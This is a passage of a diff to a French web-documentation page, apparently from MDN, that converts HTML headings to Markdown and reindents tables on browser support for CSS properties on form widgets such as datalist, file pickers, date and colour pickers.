prend pas en charge cette propriété sur les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td>No</td> - <td>No</td> - <td> - <ol> - <li>IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX ne prennent pas en charge cette propriété sur ce widget.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td>No</td> - <td>No</td> - <td> - <ol> - <li>Uniquement pris en charge par Firefox et IE9+.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Yes</td> - <td>Yes</td> - <td> - <ol> - <li>Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Non</td> - <td>Partiel</td> - <td> - <ol> - <li>IE9 ne prend pas en charge cette propriété.</li> - </ol> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Opera ne prend pas en charge {{cssxref("padding-top")}} et + {{cssxref("padding-bottom")}} sur l'élément + {{HTMLElement("select")}}. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td>Oui</td> + <td>Oui</td> + <td>Voir la note à propos de {{cssxref("line-height")}}.</td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + IE9 ne prend pas en charge cette propriété sur les éléments + {{HTMLElement("select")}}, {{HTMLElement("option")}}, + et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur + WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les + éléments {{HTMLElement("option")}} et + {{HTMLElement("optgroup")}}. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td>No</td> + <td>No</td> + <td> + <ol> + <li> + IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX + ne prennent pas en charge cette propriété sur ce widget. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td>No</td> + <td>No</td> + <td> + <ol> + <li>Uniquement pris en charge par Firefox et IE9+.</li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + La plupart des navigateurs ne prennent en charge cette propriété que + pour l'élément {{HTMLElement("select")}}. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Yes</td> + <td>Yes</td> + <td> + <ol> + <li> + Sur Opera la propriété {{cssxref("border-radius")}} n'est + appliquée que si une bordure est explicitement définie. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Non</td> + <td>Partiel</td> + <td> + <ol> + <li>IE9 ne prend pas en charge cette propriété.</li> + </ol> + </td> + </tr> + </tbody> </table> -<h3 id="Datalist">Datalist</h3> +### Datalist <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> </table> -<h3 id="Sélecteur_de_fichiers">Sélecteur de fichiers</h3> +### Sélecteur de fichiers <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td>No</td> - <td>No</td> - <td> - <ol> - <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Beaucoup de navigateurs appliquent cette propriété sur le bouton de sélection.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Agit plus ou moins comme une marge supplementaire en dehors du widget.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>No</td> - <td>No</td> - <td> - <ol> - <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Non</td> - <td>Partiel</td> - <td> - <ol> - <li>IE9 ne prend pas en charge cette propriété.</li> - </ol> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td>No</td> + <td>No</td> + <td> + <ol> + <li> + Pris en charge mais il y a trop d'incohérence entre les navigateurs + pour que ce soit fiable. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Beaucoup de navigateurs appliquent cette propriété sur le bouton de + sélection. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Agit plus ou moins comme une marge supplementaire en dehors du + widget. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>No</td> + <td>No</td> + <td> + <ol> + <li> + Pris en charge mais il y a trop d'incohérence entre les navigateurs + pour que ce soit fiable. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Non</td> + <td>Partiel</td> + <td> + <ol> + <li>IE9 ne prend pas en charge cette propriété.</li> + </ol> + </td> + </tr> + </tbody> </table> -<h3 id="Sélecteurs_de_date">Sélecteurs de date</h3> +### Sélecteurs de date -<p>Beaucoup de propriétés sont prises en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</p> +Beaucoup de propriétés sont prises en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable. <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> </table> -<h3 id="Sélecteurs_de_couleurs">Sélecteurs de couleurs</h3> +### Sélecteurs de couleurs -<p>Il n'y a pas actuellement suffisamment d'implémentation pour obtenir des comportements fiables.</p> +Il n'y a pas actuellement suffisamment d'implémentation pour obtenir des comportements fiables. <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>No</td> - <td>Oui</td> - <td> - <ol> - <li>Opera gère cette propriété comme pour un widget <code>select </code>avec les mêmes restrictions.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>No</td> - <td>Oui</td> - <td> - <ol> - <li>Opera gère cette propriété comme pour un widget <code>select </code>avec les mêmes restrictions.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>No</td> - <td>No</td> - <td colspan="1" rowspan="3"> - <ol> - <li>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>No</td> - <td>No</td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>No</td> - <td>No</td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>No</td> + <td>Oui</td> + <td> + <ol> + <li> + Opera gère cette propriété comme pour un widget + <code>select </code>avec les mêmes restrictions. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>No</td> + <td>Oui</td> + <td> + <ol> + <li> + Opera gère cette propriété comme pour un widget + <code>select </code>avec les mêmes restrictions. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>No</td> + <td>No</td> + <td colspan="1" rowspan="3"> + <ol> + <li> + Pris en charge mais il y a trop d'incohérence entre les navigateurs + pour que ce soit fiable. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>No</td> + <td>No</td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>No</td> + <td>No</td> + </tr> + </tbody> </table> -<h3 id="Widgets_meter_et_progress">Widgets <code>meter</code> et <code>progress</code></h3> +### Widgets `meter` et `progress` -<p>Il n'y a pas actuellement suffisemment d'implémentation pour obtenir des comportements fiables.</p> +Il n'y a pas actuellement suffisemment d'implémentation pour obtenir des comportements fiables. <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> 